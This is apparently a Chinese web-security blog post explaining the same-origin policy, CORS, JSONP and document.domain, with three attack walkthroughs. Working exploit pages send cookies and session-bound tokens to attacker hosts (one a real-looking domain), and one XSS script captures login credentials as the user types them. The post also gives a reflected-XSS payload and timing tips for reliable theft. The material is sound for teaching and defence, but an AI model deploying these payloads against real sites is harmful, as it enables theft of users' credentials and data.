何为同源
如果两个URL的协议、域名、端口一致则满足同源,http
与https
、a.x.com
与b.x.com
、:80
与:81
均不符合同源条件。通过windows.open()
等方式打开的about:blank
空白页将继承上级的源
- IE浏览器中,两个相互信任的白名单域名之间、以及不同端口均不受同源策略限制
如何跨域
CORS
在处理前后端分离、跨站请求等业务时可能会涉及跨域访问,浏览器出于安全考虑将拦截跨域请求的响应结果(但不会阻止发出跨域请求),除非存在相应的CORS响应头
满足CORS条件后,浏览器继续将跨域请求细分为 简单型请求 与 预检型请求。只有满足特定HTTP头的GET
、POST
、HEAD
请求为简单请求,否则为预检请求,具体条件见参考链接2
简单型请求会直接发起请求并响应结果,但预检型请求发起前浏览器会先发起OPTIONS
请求用作校验。预检型请求的响应将包含Access-Control-Max-Age
响应头用于说明有效时间(秒),在有效时间内不必再次发起预检请求
若XMLHttpRequest
对象的withCredentials
属性被设置为true
,或是向fetch()
方法的init
对象传递了credentials: 'include'
,则其在发送请求时会附带Cookies。但如果响应头缺少Access-Control-Allow-Credentials: true
,则浏览器不会展现响应内容
- 带Cookies的请求,服务器的
Access-Control-Allow-Origin
不能为*
,即浏览器不会展现如下响应头组合的页面:
1 2
| Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
|
src属性
有src
属性的标签都是可以发起跨域请求的,但仅限于对其原本内容的引用,而不可以对跨域加载的资源进行读写
JSONP
JSONPadding是一个精妙的民间花式跨域方法,通过回调函数配合JSON数据填充来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <!-- a.x.com -->
<script> function fun(data) { } </script> <script src='//b.x.com/?callback=fun'></script>
<script> $.getJSON('//b.x.com/?callback=?', function(data) { }); </script>
<script> $(function() { $.ajax({ type: "get", async: false, url: "//b.x.com/", dataType: "jsonp", jsonp: "callback", success: function(data) { }, error: function() { }, }); }) </script>
<script> $.get('//b.x.com/?callback=?', function (data) {}, 'jsonp'); </script>
<!-- b.x.com --> <?php header('Content-type: application/json'); $callback = $_GET['callback']; $data = array('a','b','c'); echo $callback.'('.json_encode($data).')'; ?>
|
子仗父势
如果显式地将a.x.com
、b.x.com
与x.com
的document.domain
属性同时设置为x.com
,则可以同时满足同源条件
1 2 3 4 5 6 7 8 9 10 11 12 13
|
document.domain = 'x.com';
document.domain = 'x.com';
document.domain = 'x.com';
|
边缘试探
window.name
属性伴随一个window的整个声明周期,在此期间iframe内载入的所有页面共享同一个window.name
值
postMesage
配合监听事件、location.hash
配合中间页均有一定跨域效果
攻击思路一
若为了方便直接将Origin请求头拼接进CORS响应头,会导致CORS跨域漏洞。假设a.x.com/index.php
负责校验身份并设置Cookie,a.x.com/cors.php
负责返回敏感数据,当受害者登录目标站点后,在Cookie失效前又访问了恶意站点hack.com
,即可被攻击者窃取敏感数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <!-- a.x.com/index.php --> <?php error_reporting(0); session_start(); $user = isset($_POST['user']) ? $_POST['user'] : ''; $passwd = isset($_POST['passwd']) ? $_POST['passwd'] : ''; if ($user==='admin' && $passwd==='passwd') { $_SESSION['user'] = $user; } if (isset($_GET['logout'])) { if ($_GET['logout']==='1') { unset($_SESSION['user']); } } echo '<a href="//a.x.com/json.php?callback=jsonp">用户信息A</a><br />'; echo '<a href="//a.x.com/cors.php">用户信息B</a><br />'; echo '<a href="//a.x.com/index.php?logout=1">退出登录</a><br />'; if (!$_SESSION['user']) { echo '<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>悲催的A</title> </head> <body> <div style="margin-left: 100px"> <form id="login" action="index.php" method="POST"> 账户:<input id="user" type="text" name="user"><br /> 密码:<input id="passwd" type="password" name="passwd"><br /> <input id="submit" type="submit" value="提交"> </div> </body> </html>'; } else { echo $_SESSION['user'].'登录成功<br />'; } ?>
<!-- a.x.com/cors.php --> <?php if (isset($_SERVER['HTTP_ORIGIN'])) { header('Access-Control-Allow-Origin:'.$_SERVER['HTTP_ORIGIN']); } else { header('Access-Control-Allow-Origin: *'); } header("Access-Control-Allow-Credentials: true"); error_reporting(0); session_start(); if ($_SESSION['user']==='admin') { echo '{"id": 0, "token": "SuperSecTokenStr")}'; } else { echo '请求失败'; } ?>
<!-- hack.com --> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="referrer" content="never"> <title>hack站或有XSS的页面</title> </head> <body> <script> fetch('//a.x.com/cors.php', { credentials: 'include' }).then(function (response) { return response.text(); }).then(function (datas) { fetch('//WebLog/' ,{ method: 'POST', mode: 'no-cors', body: JSON.stringify(datas) }); }); </script> </body> </html>
|
攻击思路二
当JSONP的动态处理页未设置Content-Type
响应头时其默认为text/html
,可能会导致反射XSS:?callback=xss<script>alert(1)</script>
将JSONP的动态处理页Content-Type
响应头设置为application/json
便可以防御反射XSS,但仍可能存在JSONP数据劫持
在讲JSONP数据劫持之前,先了解一下曾出现过的JSON数据劫持。假设json.x.com
在校验登录成功后,会向客户端返回account
之类的数据
1 2 3 4
| { "account": "admin@x.com", "...": "..." }
|
当受害者登录目标站点后,在Cookie失效前又访问了恶意站点hack.com
,即可被攻击者窃取其之前的JSON数据
1 2 3 4 5 6 7 8
| <script> Object.defineProperty(Object.prototype,"account",{ set:function(obj) { } }); </script> <script src="json.x.com"></script>
|
这段代码通过重写Object类的set方法实现了对account
属性的hook,目前该漏洞已被修复,可以通过本地测试来管中窥豹
1 2 3 4 5 6 7 8 9 10 11
| Object.defineProperty(Object.prototype, "Id", { set:function(obj) { alert(obj); } });
var a = new Object(); a.Id = 666;
var b={"Id":250};
|
看完了被修复的JSON劫持,再来看看目前依然存在的JSONP劫持。假设a.x.com/index.php
负责校验身份并调用数据接口,a.x.com/json.php
负责返回敏感数据,当受害者登录目标站点后,在Cookie失效前又访问了恶意站点hack.com
,即可被攻击者窃取敏感数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <!-- a.x.com/index.php -->
<!-- a.x.com/json.php --> <?php header('Content-type: application/json'); error_reporting(0); session_start(); $callback = $_GET['callback']; if ($_SESSION['user']==='admin'){ echo $callback.'({"id": 0, "token": "SuperSecTokenStr"})'; } else { echo $callback.'获取失败'; } ?>
<!-- hack.com --> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="referrer" content="never"> <title>hack站或有XSS的页面</title> </head> <body> <script> function hackfun(obj) { var datas = ''; for (var key in obj) { var tmp = ''; tmp = key+':'+obj[key]+','; datas += tmp; } fetch('//68943a75.y7z.xyz/' ,{ method: 'POST', mode: 'no-cors', body: document.cookie }); } </script> <script src="http://a.x.com/json.php?callback=hackfun"></script> </body> </html>
|
攻击思路三(误)
假设a.x.com
与x.com
相互信任,利用b.x.com
的XSS钓取a登录处的帐号密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>悲催的A</title> </head> <body> <div style="margin-left: 100px"> <form id="login" action="//baidu.com" method="POST"> 账户:<input id="account" type="text" name="account"><br /> 密码:<input id="passwd" type="password" name="passwd"><br /> <input id="submit" type="submit" value="提交"> </form> </div> <script> document.domain="x.com"; </script> </body> </html>
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>有XSS的B</title> </head> <body> <iframe id="iframe" src="//a.x.com/login.html" width=100% height=100% frameborder=0></iframe> <script> document.domain='x.com'; var ifrm = document.getElementById('iframe').contentWindow; document.getElementById('iframe').onload = function() { ifrm.document.getElementById('submit').onmousedown = function() { var account = ifrm.document.getElementById("account").value; var passwd = ifrm.document.getElementById("passwd").value; var url = '//WebLog/?account='+account+'&'+'passwd='+passwd; fetch(url, { mode: 'no-cors' }); } } </script> </body> </html>
|
实战中XSS通常有限制,没机会插这么多代码进去,所以一般采用外联JS的方式引入,浏览器虽然会在控制台中报跨域错误并拦截响应,但通常仍可以正常发出请求并将敏感数据带至WebLog平台。抓包分析可以发现,虽然<iframe>
放在了<script>
前面,不过浏览器的请求顺序是:
加载主页面
加载iframe标签
加载外联JS
加载iframe内容
用户按下提交
按钮
执行劫持函数
表单提交
这里说这么细是因为发现了一个有趣但蛋疼的问题,最初用作触发劫持函数的代码其实是用document.getElementById('login').onsubmit
监测表单提交实现的,测试过程中一会可以一会嗝屁特别玄学,接着就开始了三天的对 浏览器、服务器、操作系统、网络地址、网络环境 一千多次的黑盒交叉测试(哭了),最终将影响因素锁定在表单提交后的新页面加载速度上。
因为如果 后者的加载速度 比 监测到表单提交并执行劫持函数 这一过程的速度要更快的话,新来的页面会将在内存中还未来得及执行完的劫持函数给刷掉。。。。。由于表单提交的默认监听事件是鼠标点击提交
按钮(按下再松开),所以我将劫持函数的监听事件改为了检测鼠标按下,这样如果按下提交
按钮后松得慢一点,就能产生一个让劫持函数执行完的时间缝隙Orz。。。。。当然如果点击的手速够快的话仙人可能也跳不到你
回过头看之前的实现方式,则是等用户点击提交
按钮后,劫持函数 与 新页面加载 同时执行,拼的是 WebLog平台所在服务器 与 新页面所在服务器 的响应速度,不确定性就太多了。。。。。而改为 检测鼠标按下 后则在此基础上又开辟了 受害者点击 手速这个时间窗口23333
更新:经p师傅提醒,监听鼠标点击可能会错过通过回车
或是自动填充提交
方式提交的表单,所以为了保险可以两种方式同时使用
到此为止,有没有觉得哪里有点不对劲?如果目的是想利用b.x.com
的XSS钓取a的帐号密码的话,为何不直接通过JS重写b的页面仿造成a登录处的样子并劫持表单输入呢?干嘛要用什么鬼跨域的逻辑绕来绕去(淦)
参考链接
Same-origin policy
Cross-Origin Resource Sharing
Using Fetch
浅谈跨域威胁与安全